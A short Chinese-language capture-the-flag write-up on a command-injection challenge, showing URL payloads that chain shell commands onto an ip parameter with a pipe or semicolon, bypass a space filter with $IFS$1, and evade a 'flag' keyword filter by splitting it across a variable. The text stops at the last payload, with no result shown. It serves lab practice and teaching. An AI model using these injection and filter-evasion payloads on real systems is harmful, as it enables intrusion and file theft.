01、题目简介
02、解题步骤
启动并访问靶机

先构造一个参数,看看具体传参是什么样子的
/?ip=127.0.0.1
猜测可能和路由器的后台命令执行相似,使用管道符进行绕过,构造参数看一下
/?ip=127.0.0.1|ls
成功命令执行,接下来就是进行flag.php读取就行了,但是发现对空格存在过滤
/?ip=127.0.0.1|cat flag.php
既然对空格过滤,那就使用$IFS$1 绕过空格过滤
/?ip=127.0.0.1|cat$IFS$1flag.php
但是发现还是没有成功读取,那这边我们读取一下index.php文件,看一下这个文件里面有什么?
/?ip=127.0.0.1|cat$IFS$1index.php
发现对flag有过滤,那我们尝试绕过
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php